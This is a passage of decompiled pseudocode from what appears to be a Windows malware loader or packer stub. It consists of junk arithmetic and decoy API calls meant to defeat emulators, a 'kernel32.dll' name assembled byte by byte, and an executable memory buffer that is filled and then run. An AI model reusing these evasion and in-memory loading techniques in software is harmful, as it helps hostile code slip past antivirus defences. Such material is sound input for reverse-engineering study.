				_v3020 = _v3020 + 0x78be16ce;
				_v2716 = _v2716 + 0x6193f99a;
				_v2740 = _v2740 + 0x52047785;
				GetLocalTime( &_v1632);
				_v2612 = _v2612 - 0x25b9e479;
				_v2692 = _v2692 + 0x2f519b2;
				_v2948 = _v2948 + 0x2baa67c;
				GetLocalTime( &_v1600);
				_v2988 = _v2988 + 0x162bff61;
				_v2980 = _v2980 - 0x1aedb863;
				GetLocalTime( &_v1568);
				GetLocalTime( &_v1536);
				_v2692 = _v2692 - 0x73af5707;
				_v3024 = _v3024 - 0x2a5d69f6;
				_v2772 = _v2772 + 0x3c857dd0;
				GetLocalTime( &_v1504);
				GetLocalTime( &_v1472);
				_v2428 = _v2428 - 0x5462589f;
				_v2636 = _v2636 - 0x53de10f0;
				_v2560 = _v2560 - 0x16ddb8c0;
				GetLocalTime( &_v1440);
				_v2960 = _v2960 + 0x30721b5c;
				_v2900 = _v2900 - 0x5eb9c754;
				_v3004 = _v3004 - 0x521f41a9;
				_v2960 = _v2960 - 0x3f3167e;
				GetLocalTime( &_v1408);
				_v2960 = _v2960 + 0xadf0c85;
				_v2868 = _v2868 - 0x107b0d60;
				GetLocalTime( &_v1376);
				_v2424 = _v2424 + 0x24dbf2b9;
				_v2988 = _v2988 - 0x5e39732d;
				_v2824 = _v2824 - 0x36444988;
				_v2552 = _v2552 - 0x54a04ce6;
				_v2964 = _v2964 + 0x5f9bff60;
				_v2740 = _v2740 - 0x42499e14;
				GetLocalTime( &_v1344);
				_v2360 = _v2360 - 0xf36e4eb;
				_v2544 = _v2544 + 0x72ab3e1f;
				GetLocalTime( &_v1312);
				GetLocalTime( &_v1280);
				GetLocalTime( &_v1248);
				_v2416 = _v2416 - 0x601883db;
				_v3004 = _v3004 + 0x7601bc40;
				_v3012 = _v3012 + 0x3644ceb9;
				GetLocalTime( &_v1216);
				_v2536 = _v2536 + 0x32145f02;
				GetLocalTime( &_v1184);
				_v2328 = _v2328 + 0x47235b7c;
				_v2956 = _v2956 - 0x485752aa;
				GetLocalTime( &_v1152);
				GetLocalTime( &_v1120);
				_v2848 = _v2848 - 0x36c80987;
				_v2756 = _v2756 + 0x7109bb70;
				_v2808 = _v2808 + 0x402a1a8c;
				_v2528 = _v2528 + 0x6c8c6a6e;
				_v2708 = _v2708 - 0x442010bf;
				_v2900 = _v2900 - 0x654e328f;
				_v2960 = _v2960 - 0x60e667c9;
				GetLocalTime( &_v1088);
				_v2948 = _v2948 + 0x4e532066;
				_v2988 = _v2988 - 0x2320df26;
				_v3004 = _v3004 - 0x9ad0978;
				GetLocalTime( &_v1056);
				GetLocalTime( &_v1024);
				_v2808 = _v2808 - 0x65f0028e;
				GetLocalTime( &_v992);
				GetLocalTime( &_v960);
				_v2920 = _v2920 + 0x21a10b37;
				_v3004 = _v3004 - 0x5eddc61;
				_v2764 = _v2764 - 0x5afbabcf;
				GetLocalTime( &_v928);
				GetLocalTime( &_v896);
				_v2980 = _v2980 + 0x38fcdc1d;
				_v2408 = _v2408 - 0x50363bc0;
				_v2596 = _v2596 + 0x399af85d;
				_v2520 = _v2520 + 0x78dc2861;
				GetLocalTime( &_v864);
				_v2352 = _v2352 - 0x79e349b0;
				_v2660 = _v2660 - 0x616ebf6c;
				_v2756 = _v2756 + 0x5b6f397;
				_v2596 = _v2596 - 0x38eb3a55;
				_v2988 = _v2988 + 0x148dd8a6;
				GetLocalTime( &_v832);
				_v2676 = _v2676 - 0x2e3efd7a;
				_v2956 = _v2956 + 0x7fdaa466;
				_v2512 = _v2512 - 0x226b834c;
				_v2400 = _v2400 + 0x5fc1094b;
				_v2504 = _v2504 + 0x1f2f6c2f;
				GetLocalTime( &_v800);
				GetLocalTime( &_v768);
				_v3020 = _v3020 - 0x122df51a;
				GetLocalTime( &_v736);
				GetLocalTime( &_v704);
				_v2312 = _v2312 - 0x30f3c077;
				GetLocalTime( &_v672);
				_v2628 = _v2628 + 0x5b2d4c0;
				GetLocalTime( &_v640);
				_v2496 = _v2496 + 0x4a4ff79a;
				_v2724 = _v2724 - 0x6610f915;
				_v2808 = _v2808 - 0x79128545;
				_v2604 = _v2604 + 0x5b2e42f1;
				_v3024 = _v3024 + 0x25538e0c;
				_v3008 = _v3008 + 0x509d4567;
				_v2972 = _v2972 + 0x4283f234;
				_v2996 = _v2996 - 0x631872d3;
				_v2392 = _v2392 + 0xe1f351a;
				GetLocalTime( &_v608);
				_v2628 = _v2628 + 0x664bb7e5;
				_v2908 = _v2908 + 0x21cd728;
				_v2488 = _v2488 + 0x44a93d16;
				_v2808 = _v2808 + 0x144184d7;
				_v2344 = _v2344 - 0x7413531d;
				GetLocalTime( &_v576);
				GetLocalTime( &_v544);
				_v2480 = _v2480 + 0x52a6deed;
				_v2668 = _v2668 + 0x31e7af9;
				GetLocalTime( &_v512);
				GetLocalTime( &_v480);
				_v2384 = _v2384 + 0x7fe78701;
				_v2756 = _v2756 - 0x1934a704;
				_v2472 = _v2472 + 0x7a4c2499;
				_v2960 = _v2960 + 0xa639695;
				_v2320 = _v2320 - 0x6c070800;
				_v2464 = _v2464 - 0x6f0db276;
				_v2604 = _v2604 + 0x6dd3c5e1;
				GetLocalTime( &_v448);
				GetLocalTime( &_v416);
				_v2376 = _v2376 - 0x44f54915;
				_v2456 = _v2456 + 0x46805a78;
				GetLocalTime( &_v384);
				_v2660 = _v2660 + 0x1a6d7057;
				_v2932 = _v2932 - 0x512bda36;
				_v2336 = _v2336 + 0x39de9599;
				GetLocalTime( &_v352);
				GetLocalTime( &_v320);
				GetLocalTime( &_v288);
				_v2448 = _v2448 - 0x25b9080a;
				GetLocalTime( &_v256);
				GetLocalTime( &_v224);
				_v2980 = _v2980 - 0x16cf2d9b;
				GetLocalTime( &_v192);
				_v2368 = _v2368 + 0x144286ec;
				E00401127(_t1761,  &_v80, "kilajatovitacofugorakoja tobuyukoxu hirure");
				SendMessageA(0, 0, 0, 0);
				PeekMessageA( &(_v2300.y), 0, 0, 0, 0);
				if(_v2284 != 0x159) {
					L5:
					_t1721 =  *0x429820; // 0xfaf6
					_v2712 = _t1721;
					_t1772 = 0x7a1ba;
					_v2712 = _v2712 + 0x932;
					_t1779 = 0x6c;
					do {
						BeginPaint(0, 0);
						ReportEventW(0, 0, 0, 0, 0, 0, 0, 0, 0);
						_t1792 =  *0x42aba0; // 0x761e0000
						if(_t1792 == 0) {
							_t1742 = 0x6b;
							_t1765 = 0x65;
							L"kernel32.dll" = _t1742;
							_t1743 = 0x72;
							L"rnel32.dll" = _t1743;
							_t1744 = 0x6e;
							L"nel32.dll" = _t1744;
							_t1745 = 0x33;
							L"32.dll" = _t1745;
							_t1746 = 0x32;
							L"2.dll" = _t1746;
							_t1747 = 0x2e;
							L".dll" = _t1747;
							_t1748 = 0x64;
							 *0x42864a = _t1748;
							M0042863A = _t1765;
							M00428640 = _t1765;
							M00428642 = _t1779;
							 *0x42864c = _t1779;
							 *0x42864e = _t1779;
							 *0x428650 = 0;
							 *0x42aba0 = GetModuleHandleW(L"kernel32.dll");
						}
						_t1772 = _t1772 - 1;
					} while (_t1772 != 0);
					_v3048 = 0x239e7482;
					_v2976 = 0x182f6882;
					_v3036 = 0xf9f69c1;
					_v3040 = 0x6247864b;
					_v2916 = 0x7d48eb07;
					_v3028 = 0x7b9990e;
					_v2992 = 0x2481fa48;
					_v2944 = 0x3b772f0a;
					_v2880 = 0x7b40381;
					_v3000 = 0x790659a3;
					_v3016 = 0x2b75f60;
					_v2940 = 0x67898fc3;
					_v2760 = 0x6106060e;
					_v3032 = 0x496e8388;
					_v2704 = 0x52c9cbc2;
					_v2876 = 0x3e99b495;
					_v2896 = 0x2a8bb12d;
					_v2644 = 0x5e5b7890;
					_v2492 = 0x34132be3;
					_v2884 = 0x377552f6;
					_v2892 = 0x710df55d;
					_v2732 = 0x29513940;
					_v2828 = 0x271709c1;
					_v2984 = 0x308585b;
					_v2840 = 0x6ebc8144;
					_v2816 = 0x2e773f7a;
					_v2832 = 0x7f0d02d8;
					_v2888 = 0x7d539242;
					_v2532 = 0x18fc382d;
					_v2928 = 0x793af5ea;
					_v2800 = 0x66a08314;
					_v2924 = 0x2e514249;
					_v2752 = 0x25a63695;
					_v2856 = 0x5e740d34;
					_v2904 = 0x458292b1;
					_v2852 = 0x7c836667;
					_v2936 = 0x598b7d46;
					_v2864 = 0x4f3d2eb4;
					_v2820 = 0x36e1622d;
					_v2912 = 0x7c178c9;
					_v2952 = 0x17316192;
					_v2680 = 0x7caf699b;
					_v2872 = 0x25304639;
					_v2652 = 0x4f874a1;
					_v2620 = 0x62d861b2;
					_v2736 = 0x2823e71b;
					_v2516 = 0x111e915f;
					_v2768 = 0x3889793c;
					_v2600 = 0x150defff;
					_v2440 = 0x32082b89;
					_v2588 = 0x6c48c78e;
					_v2484 = 0x58059949;
					_v2632 = 0x2b55de4;
					_v2812 = 0x40d64522;
					_v2688 = 0x5d87ae6a;
					_v2788 = 0x52469379;
					_v2860 = 0x663f9826;
					_v2784 = 0x22bc3584;
					_v2844 = 0x36952ab7;
					_v2380 = 0x34eb3e83;
					_v2576 = 0x48b5cd08;
					_v2432 = 0x3e17a3ac;
					_v2696 = 0x7ee7afaa;
					_v2616 = 0x27f41295;
					_v2640 = 0x563eabc7;
					_v2396 = 0x1c2e8267;
					_v2672 = 0x422640a5;
					_v2656 = 0x665c5459;
					_v2324 = 0x2d342b0d;
					_v2476 = 0x6ec9383a;
					_v2648 = 0x4b77a28d;
					_v2592 = 0x6cfe061;
					_v2744 = 0x77c06004;
					_v2564 = 0x30f689e8;
					_v2540 = 0x63ad117b;
					_v2720 = 0x6637102b;
					_v2776 = 0x331a3ce7;
					_v2796 = 0x6e85decf;
					_v2548 = 0x43bb0147;
					_v2340 = 0x6890c260;
					_v2572 = 0x79161d60;
					_v2556 = 0x39916f5e;
					_v2452 = 0x745d8af1;
					_v2624 = 0x196bd9f3;
					_v2372 = 0x6f2f102d;
					_v2664 = 0x2041d03f;
					_v2508 = 0x524a3788;
					_v2792 = 0x5ff4fb93;
					_v2404 = 0x38b7b1c1;
					_v2804 = 0x76ae97eb;
					_v2524 = 0x4509a9e6;
					_v2364 = 0x20a57291;
					_v2580 = 0x5a97c3df;
					_v2460 = 0x52d858ae;
					_v2388 = 0x9a6dd44;
					_v2436 = 0x2d369d87;
					_v2356 = 0x76870e5c;
					_v2468 = 0x4be40305;
					_v2444 = 0x287a7808;
					_v2608 = 0x3b39556b;
					_v2316 = 0x1fa68735;
					_v2584 = 0x3e826615;
					_v2348 = 0x79f83a59;
					_v2412 = 0x7fdf1653;
					_v2420 = 0x6ed5d178;
					_v2332 = 0x4bb60310;
					_v3048 = _v3048 + 0x95550b1;
					_v3048 = _v3048 - 0x430197ec;
					_v3048 = _v3048 + 0x5bbcb5e6;
					_v3048 = _v3048 + 0x3654f505;
					_v3048 = _v3048 - 0x33db2a25;
					_v3048 = _v3048 + 0x79a69834;
					_v3048 = _v3048 + 0x77c0b62d;
					_v3036 = _v3036 + 0x6bc753b2;
					_v3040 = _v3040 + 0x30a6be4e;
					_v3040 = _v3040 + 0x3fcf4a8a;
					_v3048 = _v3048 - 0x6b47b86d;
					_v3048 = _v3048 - 0x256adbec;
					_v3040 = _v3040 + 0x399a7a57;
					_v3040 = _v3040 + 0xfe4c244;
					_v3040 = _v3040 - 0x3d37692c;
					_v3048 = _v3048 - 0x461c5404;
					_v2916 = _v2916 - 0x129ff4a1;
					_v3040 = _v3040 + 0x7caf3a8f;
					_v3028 = _v3028 - 0x67c79428;
					_v2976 = _v2976 - 0x6c88256f;
					_v3040 = _v3040 + 0x1ecfdcfe;
					_v2992 = _v2992 + 0x3473cc58;
					_v2976 = _v2976 + 0x26a3ce43;
					_v2916 = _v2916 - 0x7e1b9d01;
					_v3036 = _v3036 - 0x5c04e079;
					_v3000 = _v3000 - 0x6b48461d;
					_v3000 = _v3000 + 0xda7a08e;
					_v3040 = _v3040 - 0x12ee78ef;
					_v3048 = _v3048 + 0x548864e8;
					_v3048 = _v3048 + 0x38f128b4;
					_v2944 = _v2944 + 0x708fcf14;
					_v3028 = _v3028 + 0x34a27c3;
					_v2916 = _v2916 - 0xac0b97c;
					_v2916 = _v2916 - 0x5dfcf0d;
					_v2944 = _v2944 - 0x1a7ef43a;
					_v2992 = _v2992 - 0x60d295b6;
					_v3048 = _v3048 + 0x29fee9fd;
					_v3016 = _v3016 - 0x355ee434;
					_v2992 = _v2992 + 0x2e9975ff;
					_v3032 = _v3032 - 0x553095ad;
					_v3032 = _v3032 + 0x32109770;
					_v2876 = _v2876 + 0x6191137b;
					_v2704 = _v2704 - 0x5944edcf;
					_v2940 = _v2940 + 0xa8517a8;
					_v3040 = _v3040 - 0x1bfe13c5;
					_v3036 = _v3036 + 0x725abc;
					_v2940 = _v2940 - 0x5e865462;
					_v2760 = _v2760 - 0x62158c51;
					_v3048 = _v3048 + 0x1d3d5411;
					_v2880 = _v2880 - 0x5ae7e8a3;
					_v3028 = _v3028 - 0xd5e79e3;
					_v2892 = _v2892 + 0x5e478da0;
					_v3032 = _v3032 + 0x74556458;
					_v3040 = _v3040 + 0x227a5302;
					_v2940 = _v2940 + 0x50ca4aa5;
					_v2944 = _v2944 + 0x47ef335f;
					_v2896 = _v2896 + 0x4938038b;
					_v2976 = _v2976 - 0x682e7019;
					_v2896 = _v2896 - 0x2e6efc38;
					_v3000 = _v3000 + 0x56b0bc9f;
					_v3032 = _v3032 - 0x2f5b8b80;
					_v2732 = _v2732 + 0x4812f370;
					_v3028 = _v3028 - 0x79257098;
					_v3000 = _v3000 + 0x8f7c9fc;
					_v2896 = _v2896 - 0x10814076;
					_v2984 = _v2984 + 0x25152962;
					_v2828 = _v2828 + 0x6332bbf9;
					_v2940 = _v2940 - 0x2028f75c;
					_v2816 = _v2816 - 0x266a7f8f;
					_v2888 = _v2888 - 0xdc553b3;
					_v3016 = _v3016 + 0x6b8e78d9;
					_v2732 = _v2732 + 0x42298614;
					_v2892 = _v2892 - 0x368a6bd4;
					_v3028 = _v3028 - 0x7ea873de;
					_v3028 = _v3028 - 0x7718deae;
					_v3028 = _v3028 - 0x6415d113;
					_v3036 = _v3036 - 0x44a2a82b;
					_v3000 = _v3000 - 0x101e4b54;
					_v2880 = _v2880 - 0x2e647263;
					_v3032 = _v3032 + 0x2d028a88;
					_v2916 = _v2916 - 0x40d61ba5;
					_v3016 = _v3016 + 0x63ae74da;
					_v2888 = _v2888 + 0x7ce6be03;
					_v2880 = _v2880 + 0x1647e46b;
					_v2840 = _v2840 - 0x4209463c;
					_v3000 = _v3000 - 0x6c447003;
					_v2904 = _v2904 - 0x226256d6;
					_v2840 = _v2840 - 0x7340cec0;
					_v3016 = _v3016 - 0x2d0829cf;
					_v2884 = _v2884 - 0x5296d35a;
					_v2832 = _v2832 - 0x65a701b9;
					_v3016 = _v3016 - 0x3235c305;
					_v2992 = _v2992 - 0x7e92e087;
					_v2928 = _v2928 - 0x453c7c0e;
					_v2888 = _v2888 + 0x707df004;
					_v3032 = _v3032 + 0x12a9517e;
					_v2936 = _v2936 + 0x5c448034;
					_v2984 = _v2984 + 0x65b8a1f0;
					_v2864 = _v2864 + 0x4e75c612;
					_v2732 = _v2732 + 0x34ea2e1d;
					_v3016 = _v3016 + 0x1d082eeb;
					_v2876 = _v2876 + 0x4da83ba;
					_v2800 = _v2800 - 0x476a1864;
					_v3028 = _v3028 + 0xa221d92;
					_v3032 = _v3032 - 0x52ea405b;
					_v2904 = _v2904 + 0x737c9818;
					_v2992 = _v2992 + 0x676b34f2;
					_v2944 = _v2944 - 0x6a9e5f85;
					_v3036 = _v3036 - 0xed26feb;
					_v2840 = _v2840 - 0x33dfaed6;
					_v2992 = _v2992 - 0x65baae89;
					_v3032 = _v3032 + 0x42b8a833;
					_v2876 = _v2876 - 0x4546be3;
					_v2928 = _v2928 - 0x27bcc336;
					_v2924 = _v2924 + 0x1898d8f;
					_v2904 = _v2904 - 0x40d5040e;
					_v3032 = _v3032 - 0x2d647584;
					_v2916 = _v2916 - 0x548829d5;
					_v2952 = _v2952 - 0x1ad36fc;
					_v2872 = _v2872 - 0x72ff6bea;
					_v2940 = _v2940 - 0x6ace113e;
					_v3032 = _v3032 - 0x353344e8;
					_v3028 = _v3028 + 0x423c798f;
					_v2828 = _v2828 - 0x6068e2e3;
					_v2944 = _v2944 - 0x4435ceac;
					_v2644 = _v2644 + 0x463772b9;
					_v3016 = _v3016 - 0x56ff5d79;
					_v2680 = _v2680 - 0x67888134;
					_v2924 = _v2924 - 0x223a569c;
					_v2760 = _v2760 - 0x2c5d7510;
					_v2936 = _v2936 - 0x60bcbda8;
					_v2876 = _v2876 + 0x334afeac;
					_v2896 = _v2896 + 0x7422c213;
					_v2884 = _v2884 - 0x1dd4c6cd;
					_v2928 = _v2928 + 0x5292f094;
					_v2984 = _v2984 + 0x1bd8ba41;
					_v2768 = _v2768 + 0x2384333b;
					_v2820 = _v2820 + 0x1137335f;
					_v2800 = _v2800 - 0x6de244cf;
					_v2936 = _v2936 - 0x54dcb8b6;
					_v2864 = _v2864 - 0x6463904e;
					_v2840 = _v2840 - 0x29a23d1d;
					_v2884 = _v2884 - 0x572622ac;
					_v3016 = _v3016 + 0x746539e5;
					_v2904 = _v2904 + 0x66d9d949;
					_v2912 = _v2912 + 0x4669ebc4;
					_v2924 = _v2924 + 0x1f495069;
					_v2892 = _v2892 - 0x1749a492;
					_v3036 = _v3036 + 0x10972c29;
					_v2600 = _v2600 + 0x1bc55753;
					_v2992 = _v2992 + 0x4917d420;
					_v3048 = _v3048 + 0x335fcd4e;
					_v2852 = _v2852 + 0x77549bea;
					_v2440 = _v2440 + 0x64c0a0b4;
					_v3036 = _v3036 - 0x7b2013d8;
					_v2884 = _v2884 - 0x56b19ff5;
					_v2892 = _v2892 - 0x4a95e601;
					_v2800 = _v2800 - 0x6b005ef2;
					_v3040 = _v3040 + 0x736bb156;
					_v2892 = _v2892 + 0x5098800;
					_v2976 = _v2976 - 0x1746a267;
					_v2620 = _v2620 - 0x1aa6cf14;
					_v2816 = _v2816 - 0x7971c4e6;
					_v2876 = _v2876 + 0x4a001310;
					_v2924 = _v2924 - 0x80678e1;
					_v2816 = _v2816 + 0x65195ee4;
					_v2856 = _v2856 + 0x2f7766af;
					_v2984 = _v2984 - 0x603fee3e;
					_v2820 = _v2820 - 0x5046a796;
					_v2924 = _v2924 - 0x662812ad;
					_v2620 = _v2620 - 0x3143dbad;
					_v2752 = _v2752 + 0x6ae95c2b;
					_v2816 = _v2816 - 0x7e53468e;
					_v2832 = _v2832 + 0x587fa879;
					_v2936 = _v2936 + 0x7f995228;
					_v2912 = _v2912 + 0x7d3f1712;
					_v2952 = _v2952 + 0x7a32fec7;
					_v2652 = _v2652 - 0x7827e165;
					_v2752 = _v2752 - 0x62d9098e;
					_v2924 = _v2924 + 0x28d157a9;
					_v2952 = _v2952 + 0x3e60a1d2;
					_v2984 = _v2984 + 0x4dc058c8;
					_v2652 = _v2652 - 0x14c7bc2a;
					_v2984 = _v2984 + 0x5284c218;
					_v2784 = _v2784 - 0x2015839d;
					_v2588 = _v2588 + 0x2a3cf6a1;
					_v2768 = _v2768 + 0x7d4258eb;
					_v2860 = _v2860 - 0x3d313a93;
					_v2736 = _v2736 + 0x62e1b11f;
					_v3040 = _v3040 + 0x71a4b522;
					_v2928 = _v2928 - 0x10474b89;
					_v2632 = _v2632 - 0x6f26dd47;
					_v2852 = _v2852 - 0x358387a7;
					_v2784 = _v2784 - 0x454734bc;
					_v2852 = _v2852 - 0x3611bd17;
					_v2788 = _v2788 - 0x4edbf39f;
					_v3036 = _v3036 - 0x5f89bac6;
					_v2884 = _v2884 + 0x6d0636d0;
					_v2588 = _v2588 + 0x39f42dc4;
					_v2696 = _v2696 + 0x66e2499c;
					_v2872 = _v2872 - 0x66f3015b;
					_v2860 = _v2860 - 0x78e6439;
					_v2644 = _v2644 + 0x12eba284;
					_v2856 = _v2856 + 0x4ad459e8;
					_v2432 = _v2432 + 0x7a5f7add;
					_v3040 = _v3040 - 0x2708bf1d;
					_v2832 = _v2832 + 0x701cbf27;
					_v2688 = _v2688 + 0x6ac52648;
					_v3036 = _v3036 - 0x69e059e6;
					_v2936 = _v2936 - 0x64dc0cde;
					_v2576 = _v2576 - 0x3aacb0d8;
					_v2744 = _v2744 + 0x761e640e;
					_v2788 = _v2788 - 0x45f0b5ef;
					_v2952 = _v2952 - 0x35ed1194;
					_v2904 = _v2904 + 0x76f3c40c;
					_v2872 = _v2872 + 0x150f9d9b;
					_v2888 = _v2888 - 0x3124aded;
					_v2992 = _v2992 + 0x56619ad3;
					_v2896 = _v2896 - 0x56926445;
					_v3028 = _v3028 + 0x448409ea;
					_v2844 = _v2844 + 0x19bbe11c;
					_v2788 = _v2788 - 0x7ef6dac;
					_v3016 = _v3016 + 0xaf0c32d;
					_v2976 = _v2976 + 0x440d8acd;
					_v2864 = _v2864 + 0x393555b8;
					_v2704 = _v2704 - 0x6c979cd2;
					_v2952 = _v2952 - 0x4dc6f7cb;
					_v2648 = _v2648 + 0x466c408d;
					_v2672 = _v2672 + 0x29ad97d;
					_v2832 = _v2832 + 0x285b56bb;
					_v2572 = _v2572 - 0x68319ba4;
					_v2564 = _v2564 - 0x27515d23;
					_v3036 = _v3036 + 0x431fcb0f;
					_v2952 = _v2952 - 0x51775d2b;
					_v2888 = _v2888 - 0x772114b0;
					_v2864 = _v2864 + 0x49d7156;
					_v2812 = _v2812 + 0xa89a25d;
					_v2912 = _v2912 + 0x3736423e;
					_v2556 = _v2556 - 0x28f051ce;
					_v2784 = _v2784 - 0x4e60d274;
					_v2720 = _v2720 - 0x18945d2b;
					_v2856 = _v2856 + 0x892946c;
					_v2944 = _v2944 - 0x65a503d9;
					_v2776 = _v2776 + 0x15e9961;
					_v3000 = _v3000 + 0x1f09c883;
					_v2844 = _v2844 + 0x46d1ad82;
					_v3032 = _v3032 + 0x1b8efafc;
					_v2696 = _v2696 + 0x2100daab;
					_v2548 = _v2548 + 0x233d054a;
					_v2872 = _v2872 - 0x549f9ecd;
					_v2828 = _v2828 + 0x78eb9142;
					_v2800 = _v2800 - 0x487e4700;
					_v2856 = _v2856 + 0x7713244a;
					_v2796 = _v2796 + 0x30d90079;
					_v2976 = _v2976 - 0x508cfe3;
					_v2796 = _v2796 - 0x3a1c02be;
					_v3036 = _v3036 + 0x314da96d;
					_v3048 = _v3048 - 0x168b0464;
					_v2928 = _v2928 - 0x48385794;
					_v2540 = _v2540 + 0x4da8d724;
					_v2776 = _v2776 + 0x531d486e;
					_v2852 = _v2852 + 0x3ef538b7;
					_v3028 = _v3028 + 0x26d724cb;
					_v2532 = _v2532 + 0x9bc5c21;
					_v2744 = _v2744 - 0x6dde65b7;
					_v2776 = _v2776 - 0xb08b04a;
					_v2880 = _v2880 + 0x5c27fa5c;
					_v2984 = _v2984 - 0x212895fd;
					_v2936 = _v2936 - 0x261e2e85;
					_v2768 = _v2768 + 0x2ba6915a;
					_v2844 = _v2844 + 0x34ef3f23;
					_v2760 = _v2760 + 0x6458ad85;
					_v2880 = _v2880 + 0x5439e087;
					_v2616 = _v2616 - 0x4bbdbe5c;
					_v2524 = _v2524 + 0x767848dc;
					_v2804 = _v2804 - 0x2e56b12;
					_v2664 = _v2664 + 0x3da5d9cb;
					_v2952 = _v2952 + 0x78481c6e;
					_v3000 = _v3000 + 0x73157f5a;
					_v2796 = _v2796 + 0x6a53843b;
					_v2516 = _v2516 + 0x3844d6ea;
					_v2688 = _v2688 + 0x545bc2c0;
					_v2508 = _v2508 + 0x68fd6ee1;
					_v2656 = _v2656 - 0x179bde24;
					_v3016 = _v3016 + 0x54666b72;
					_v2872 = _v2872 + 0x281c8c63;
					_v2580 = _v2580 - 0x57edd632;
					_v2640 = _v2640 - 0x161d0ecf;
					_v2624 = _v2624 + 0x2dbad4cd;
					_v2492 = _v2492 - 0x54797945;
					_v2736 = _v2736 + 0x5fb2e9cf;
					_v2812 = _v2812 - 0x526ee0f7;
					_v2680 = _v2680 - 0x5d5645be;
					_v2844 = _v2844 - 0x5c187371;
					_v2484 = _v2484 - 0x8b673aa;
					_v2860 = _v2860 - 0x3a2897b4;
					_v2720 = _v2720 - 0x535e3464;
					_v2928 = _v2928 + 0x42f4e923;
					_v2672 = _v2672 + 0x40a906fa;
					_v2820 = _v2820 + 0x68dd1b91;
					_v2792 = _v2792 - 0x40e4e18b;
					_v2476 = _v2476 - 0x2f988ed0;
					_v2792 = _v2792 - 0x267f649e;
					_v2468 = _v2468 - 0x6ecea3bc;
					_v2664 = _v2664 - 0x4d40f4fb;
					_v2592 = _v2592 + 0x29bcc01a;
					_v2460 = _v2460 + 0x54d6b102;
					_v2656 = _v2656 - 0x6741c013;
					_v2860 = _v2860 + 0x56a67e5e;
					_v2452 = _v2452 - 0x646c3afc;
					_v2912 = _v2912 - 0x18fe783c;
					_v2752 = _v2752 + 0x1c3af627;
					_v2648 = _v2648 + 0x3b4c2e58;
					_v2828 = _v2828 + 0x72295e95;
					_v2444 = _v2444 - 0x58dbee4a;
					_v3032 = _v3032 + 0x213afd51;
					_v2984 = _v2984 - 0x7376b686;
					_v2744 = _v2744 + 0x71e31a5e;
					_v2640 = _v2640 + 0x166101a7;
					_v2436 = _v2436 - 0x76027e6e;
					_v2804 = _v2804 + 0x421e4694;
					_v2420 = _v2420 + 0x56959fa;
					_v2944 = _v2944 + 0x5b600c0d;
					_v2412 = _v2412 + 0x637c3d56;
					_v2736 = _v2736 - 0x414b0263;
					_v2404 = _v2404 + 0x6a75ba50;
					_v2396 = _v2396 + 0x29974de5;
					_v2864 = _v2864 - 0x52b6ff09;
					_v2388 = _v2388 + 0x4c4b07fc;
					_v2380 = _v2380 - 0x293916f4;
					_v2608 = _v2608 + 0x19a5c45b;
					_v2632 = _v2632 + 0x2d0d34b5;
					_v2912 = _v2912 - 0x349c0536;
					_v2372 = _v2372 - 0x18db43d7;
					_v2364 = _v2364 + 0x3c7ba3c9;
					_v2940 = _v2940 + 0x34e25bb1;
					_v2812 = _v2812 - 0x44013c66;
					_v2820 = _v2820 - 0x62444626;
					_v2356 = _v2356 + 0x5155ff53;
					_v2624 = _v2624 + 0x19e5f451;
					_v3036 = _v3036 - 0x7d383614;
					_v2804 = _v2804 + 0x7f76dfc1;
					_v2584 = _v2584 + 0x53779542;
					_v3000 = _v3000 - 0x428e494a;
					_v2348 = _v2348 + 0x54e0d8ae;
					_v2616 = _v2616 + 0x69423c0;
					_v2608 = _v2608 - 0x4c076a74;
					_v2340 = _v2340 - 0x2692959c;
					_v2976 = _v2976 - 0x10820d6e;
					_v2812 = _v2812 + 0x10f501f0;
					_v2600 = _v2600 + 0x40c08d31;
					_v2792 = _v2792 + 0xc195602;
					_v2976 = _v2976 - 0x153df8ed;
					_v2332 = _v2332 - 0x6886b723;
					_v2804 = _v2804 + 0x4f97e961;
					_v2796 = _v2796 - 0x4d2d5e06;
					_v2592 = _v2592 + 0x762b3fad;
					_v2912 = _v2912 + 0xbad5350;
					_v2324 = _v2324 + 0x18183a85;
					_v2316 = _v2316 - 0x69d5a6f6;
					_v2720 = _v2720 - 0x7f3b61aa;
					_v3040 = _v3040 - 0x7f696629;
					_v2584 = _v2584 + 0x67e524be;
					_t1780 = _v2712;
					_t1773 = 0;
					_t1763 = GetTickCount;
					while(1) {
						GetTickCount();
						GetLastError();
						GetCaretPos( &_v2300);
						GetFileInformationByHandle(0,  &_v56);
						if(_t1773 > 0x198fb && _v2300.x != 0x1f9d86e7 && _v56.nFileSizeHigh != 0x1d47b417) {
							break;
						}
						_t1773 = _t1773 + 1;
					}
					E00401127(_t1763,  &_v2264, "nihifezacesilotamomoxi");
					lstrcpyW(L"kernel32.dll", L"kernel");
					lstrcatA("dimabozodeseyilemejevuxotipufi", "hulonexeso");
					BeginPaint(0, 0);
					E004011B8();
					_t1785 =  *0x428428; // 0x4111d0
					_t1735 = VirtualAlloc(0, _t1780, 0x1000, 0x40);
					_t1775 =  *0x428434; // 0x4176ce
					 *0x42aba4 = _t1735;
					_t1776 = _t1775 + 0x932;
					_t1781 = 0;
					if(_v2716 <= 0) {
						L16:
						_v2308 = 0x10;
						_v2308 = _v2308 + 0x10;
						E00401986( *0x42aba4,  &_v2712, _t1785);
						E00401875();
						ExitThread(0);
					} else {
						goto L15;
					}
					do {
						L15:
						DuplicateHandle(0, 0, 0, 0, 0, 0, 0);
						GetTickCount();
						E00401769( *0x42aba4, _t1776, _t1781);
						_t1786 = _t1786 + 0xc;
						_t1781 = _t1781 + 1;
						_push(0);
						_pop(0);
					} while (_t1781 < _v2712);
					goto L16;
				}
				_t1768 = "dimabozodeseyilemejevuxotipufi";
				_t1770 = _t1768 + 1;
				do {
					_t1751 =  *_t1768;
					_t1768 = _t1768 + 1;
				} while (_t1751 != 0);
				if(_t1768 - _t1770 <= 0x216) {
					goto L5;
				}
				GetProcessShutdownParameters(0, 0);
				GetProcessTimes(0, 0, 0, 0, 0);
				SetProcessWorkingSetSize(0, 0, 0);
				CopyImage(0, 0, 0, 0, 0);
				DestroyIcon(0);
				GetScrollRange(0, 0, 0, 0);
				TerminateProcess(0, 0);
				GetProcessId(0);
				TerminateProcess(0, 0);
				__imp__SetComputerNameExA(0, 0);
				ExitThread(0);
			}

0x004019ba
0x004019c0
0x004019c7
0x004019ce
0x004019d0
0x004019d8
0x004019e0
0x004019e8
0x004019f0
0x004019f8
0x00401a00
0x00401a08
0x00401a13
0x00401a1b
0x00401a26
0x00401a31
0x00401a39
0x00401a44
0x00401a4c
0x00401a54
0x00401a5c
0x00401a64
0x00401a6f
0x00401a7a
0x00401a82
0x00401a8d
0x00401a98
0x00401aa3
0x00401aab
